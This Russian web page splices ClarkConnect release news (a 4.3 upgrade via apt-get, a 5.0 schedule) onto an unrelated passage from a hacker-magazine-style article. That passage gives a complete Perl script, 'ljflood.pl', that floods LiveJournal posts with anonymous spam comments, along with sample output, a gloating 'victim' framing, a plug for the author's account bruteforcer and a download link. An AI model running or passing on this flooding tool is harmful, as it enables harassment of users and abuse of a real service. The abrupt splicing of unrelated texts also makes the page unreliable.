23 Январь,2009 Объявлены сроки выхода Clarkconnect 5.0
С анонсом нововведений можно ознакомится здесь.
Ориентировочные сроки выхода Clarkconnect 5.0 объявлены:
* 3 февраля 2009 - 5.0 alpha
* 3 марта 2009 - 5.0 beta
* 1 апреля 2009 - 5.0 final release
12 Сентябрь,2008 Краткое знакомство с модулем Bacula.
В разделе статей размещен ознакомительный материал по первичной настройке и конфигурированию модуля Bacula.
Обсуждение в форуме.
14 Август,2008 Clarkconnect 4.3 Release
7/08/2008 команда Канадских разработчиков выпустила на суд общественности финальный релиз горячо любимого всеми нами ClarkConnect Community Edition, а уже 12/08 вышел финальный релиз Enterprise Edition. Основное, на наш взгляд, отличие от преведущих версий - смена лицензионной политики. Community Edition так и останется бесплатным,а вот версии Office больше не существует. Разработчики произвели слияние этой версии с версией Enterprise, которая будет доступна по цене 85$/год. Кроме того в новой версии появились следующие нововведения:
* Поддержка функций групповой работы в почтовом web-интерфейсе
* OpenVPN for raod warriors
* Просмотр системных процессов в реальном времени
* Менеджер почтовых очередей
* RAID-менеджер
* Устанавливаемые по-умолчанию ключи безопасности для пользователей
* Удаленный бекап на сервер ClarkConnect (идет бета-тестирование)
Для перехода на версию 4.3 с версии 4.х достаточно произвести следующие несложные операции
apt-get update
apt-get install cc-upgradeto43
apt-get clean
apt-get update
apt-get dist-upgrade
После чего требуется перезагрузка
Success
Your comment has been added. You can view it here,
что означало корректный пост коммента и правильный сбор данных =).
Можно было приступать к кодингу. Обрисовав скрипт в голове за пять минут, я вбил заветные строки в текстовый редактор. В итоге у меня получился следующий красивый код:
#!/usr/bin/perl
## ljflood.pl – Scripts for flood lj accounts by dirty comments.
## Creator: Forb (forb@real.xakep.ru), ICQ: 304211
## Idea: Forb, Pupkin_Zade (xa@real.xakep.ru). Regards, Pupkin ;)
use IO::Socket; ## Юзаем сокеты
use Getopt::Std; ## Юзаем getopt для захвата параметров скрипта
getopt("ijbc"); ## Берем из командной строки четыре параметра
$value=$opt_i || usage("Bad id"); ## Номер линии комментариев (обязательный параметр)
$journal=$opt_j || usage("Bad journal"); ## Название журнала (обязательно)
$comment=$opt_b || 'blah-blah'; ## Сам короткий комментарий (по дефолту блах-блах ;))
$count=$opt_c || 10; ## И количество комментов (по дефолту 10)
$dir='/talkpost_do.bml'; ## Задаем директорию для POST’а
$usertype='anonymous'; ## Шлем анонимно!
for ($i=1;$i<=$count;$i++) { ## Открываем цикл по $count
sendcomment($i); ## И каждый раз засылаем коммент
}
exit print "EOF!\n"; ## Затем прощаемся
sub usage { ## usage() – атрибут любой программы
$reason=shift; ## Берем параметр процедуры
print "$reason\n" if $reason; ## И если он есть – пишем его
exit print "Usage $0 <-i> <-j> [-b] [-c]
Where: -i: id of comment page
\t-j: Name of LiveJournal
\t-b: Body of comment (default: blah-blah)
\t-c: Count of comments (default: 10)
"; ## Пишем прощальный синтаксис
}
sub sendcomment { ## Главная процедура – засылаем вражий коммент!
my $num=shift; ## Берем параметр процедуры
$socket=IO::Socket::INET->new("www.livejournal.com:80") || die "cant connect\n"; ## Соединяемся с ЖЖ
$socket->autoflush(1); ## Отрубаем буферизацию (на всякий случай, т.к. по дефолту она вырублена)
$post="itemid=$value&journal=$journal& usertype=$usertype&body=$comment$num&"; ## Формируем POST-запрос (делаем коммент уникальным)
$len=length($post);
$len+=1; ## Находим длину запроса (фраза + \r\n)
print $socket "POST $dir HTTP/1.1\r\n";
print $socket "Host: www.livejournal.com\r\n";
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n"; ## Отправляем длинный Header
$socket->recv($msg,1024); ## И получаем килобайт данных
close($socket); ## Убедившись, что данные были приняты, закроем сокет
print "comment $num was sended\n"; ## Напишем, что работа выполнена
}
3. Наслаждаемся результатом
Вот и все! Скрипт готов и выглядит вполне работоспособным ;). Настало время проверить его работу. Что же, запускаем, с известными нам параметрами.
[root@shell work]# perl ljflood.pl –i 31337 -j lamer –b test –c 10
comment 1 was sended
comment 2 was sended
comment 3 was sended
comment 4 was sended
comment 5 was sended
comment 6 was sended
comment 7 was sended
comment 8 was sended
comment 9 was sended
comment 10 was sended
EOF!
Через несколько секунд скрипт завершает работу. Травим ослика на страничку lamer’а и видим аккуратный ряд наших комментов. В довершении, тешим себя мыслью, что на мыльнике жертвы покоятся 10 ненужных мессаг ;).
На самом деле все не так гладко, как хотелось бы. Скрипт работает довольно медленно, а для ускорения нужны потомки и дополнительное время ;). Учитывая фактор мертвости ЖЖ получаем следующую статистику: из 10 запланированных комментов до сервера доходят только 8. Итог – нужна проверка на доходимость с горячим resend’ом в случае неудачи. И наконец, нужно учитывать, что юзеры редко когда позволяют анонимусам комментить их посты. Поэтому, нужна авторизация под хацкерским ЖЖ аккаунтом (который ты обязательно крякнешь моим брутфорсером). Вывод: над скриптом еще нужно поработать, что мы и будем делать в следующих статьях этой темы ;). Следи за обновлениями!
Поэтому мой тебе совет: запасись терпением и пока довольствуйся тем, что имеешь. Скрипт можно сгрузить по адресу http://kamensk.net.ru/forb/1/ljflood.tar.gz, либо копипейстнуть с этой странички. На публикацию скрипта в другие источники копирайт и мнение автора обязательно!